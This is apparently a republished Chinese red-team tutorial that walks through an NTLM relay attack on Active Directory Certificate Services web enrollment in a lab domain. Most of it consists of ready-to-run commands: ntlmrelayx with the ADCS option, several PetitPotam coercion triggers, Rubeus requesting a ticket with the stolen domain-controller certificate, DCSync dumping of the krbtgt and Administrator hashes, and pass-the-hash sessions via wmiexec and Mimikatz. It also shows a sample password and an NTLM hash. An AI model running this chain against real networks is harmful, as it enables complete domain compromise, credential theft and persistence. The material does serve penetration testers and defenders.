文章前言
在企业环境中部署Active Directory证书服务(AD CS)可以让系统管理员利用它在不同目录对象之间建立信任,但是它可能允许红队操作员对AD CS的Web界面进行NTLM中继攻击以破坏网络,AD CS的Web界面允许用户通过HTTP协议获取证书(Web注册)但不支持签名,并接受NTLM身份验证
攻击步骤
Will Schroeder和Lee Christensen在Certified Pre-Owned白皮书中介绍了攻击的详细信息,攻击者强制域控制器计算机帐户(DC$)向配置了NTLM中继的主机进行身份验证,身份验证被转发给证书颁发机构(CA)并提出对证书的请求,一旦为DC$帐户生成证书,攻击者就可以使用它在域控制器上执行任意操作,例如:检索Kerberos帐户的哈希,以创建黄金票证并建立域持久性或转储域管理员的哈希并建立与域控制器的通信通道,Active Directory证书服务可以作为角色安装在域控制器上或作为域一部分的单个服务器中,下图说明了攻击的步骤:
攻击需要识别证书颁发机构,\\”certutil\\”二进制文件是一个命令行工具,可用于转储和显示证书颁发机构信息、验证证书等,因此它可以用作快速发现域上是否部署了证书颁发机构的方法
certutil.exe
服务器名称已被标识为\\”ca.purple.lab\\”,并且可以通过以下URL上的HTTP访问Web注册服务:
http://ca.purple.lab/certsrv/
从未加入域的系统中执行Impacket套件中的\\”ntlmrelayx.py\\”将配置各种侦听器(SMB、HTTP、WCF),这些侦听器将从域控制器计算机帐户中捕获身份验证并将该身份验证信息中继到活动目录证书颁发机构服务器:
python3 ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Lionel Gilles开发的名为PetitPotam的POC可以触发强制身份验证,主要通过利用MS-EFSRPC协议进行API调用(EfsRpcOpenFileRaw)来实现的,该调用将触发目标上的计算机帐户向另一个系统进行身份验证,它通过提供标准用户凭据并使用配置NTLM中继的系统的IP和CA的IP地址来执行
python3 PetitPotam.py -d purple.lab -u pentestlab -p Password1234 <Listener-IP> <DC-IP>
如果在域控制器而不是其他服务器上部署证书颁发机构且没有采取预防措施,即使没有凭据访问网络也可能导致域受损
python3 PetitPotam.py 10.0.0.2 10.0.0.1
如果显示以下输出则表示攻击成功并且已触发身份验证
如果已建立对加入域的系统的初始访问权限则可以使用二进制文件
PetitPotam.exe 10.0.0.2 10.0.0.1
Benjamin Delpy还在较新版本的Mimikatz中实现了身份验证触发器,使用加密文件系统(EFS)模块,并指定域控制器和充当NTLM中继的主机将发送远程过程调用
misc::efs /server:dc.purple.lab /connect:10.0.0.2
还有一个PetitPotam攻击的PowerShell实现,它是由S3cur3Th1sSh1t在Mimikatz模块之后开发的
Import-Module .\\\\Invoke-Petitpotam.ps1
Invoke-Petitpotam -Target 10.0.0.1 -CaptureHost 10.0.0.2
所有上述触发器将强制DC$帐户(域控制器上的机器帐户)向证书颁发机构进行身份验证
由于攻击需要安装Web服务组件或Web注册,因此将提出DC$帐户下的证书请求,将为该帐户生成Base64格式的证书
获得的证书可以与Rubeus一起使用,以便为域控制器上的高特权帐户机器帐户请求Kerberos票证(Ticket Granting Ticket)
Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt
票证将导入到用户的当前会话中,由于此票属于DC$帐户,因此可用于执行一系列活动以破坏域,例如检索krbtgt帐户的NTLM哈希并创建黄金票,通过以下方式与域控制器建立连接WMI,执行传递哈希等
运行以下命令将验证票证是否已缓存到当前登录会话中
klist
可以看到票据被缓存,之后可以使用DCSync技术检索krbtgt帐户的哈希以创建黄金票据并建立域持久性
mimikatz # lsadump::dcsync /user:krbtgt
类似地可以检索用户Administrator的密码哈希,此用户是域管理员组的成员
lsadump::dcsync /domain:purple.lab /user:Administrator
哈希值可以与Impacket中的wmiexec一起使用,以建立与作为域管理员的域控制器的会话:
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
或者可以使用Mimikatz或任何其他类似的工具来执行散列传递技术,在Mimikatz中执行以下命令将创建另一个会话作为用户管理员:
sekurlsa::pth /user:Administrator /domain:purple.lab /ntlm:58a478135a93ac3bf058a5ea0e8fdb71
从新会话中可以映射驱动器C$以便访问域控制器文件系统:
net use z:\\\\\\\\dc\\\\c$
dir z:
攻击工具
实现攻击的替代工具(ADCSPwn)是由batsec使用C#开发的,可以通过execute-assembly或任何其他类似的红队框架(例如:Covenant)在Cobalt Strike中使用,明显的好处是攻击可以直接从内存中执行,而无需将任何内容放入磁盘或使用另一个系统作为中继来将身份验证传递给CA,ADCSPwn在本地设置中继服务器并通过API调用(EfsRpcOpenFileRaw)强制进行身份验证
adcspwn.exe --adcs ca.purple.lab --remote dc.purple.lab
证书将以Base64格式生成到控制台中
但是需要注意的是只有当WebClient服务在域控制器上运行时该攻击才有效,默认情况下未安装此服务,因此直接执行工具不太可能导致预期结果
WebClient服务是在服务器上安装WebDav Redirector功能时创建的
视频演示
参考连接
https://github.com/bats3c/ADCSPwn
https://github.com/topotam/PetitPotam
https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
https://posts.specterops.io/certified-pre-owned-d95910965cd2
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34260.html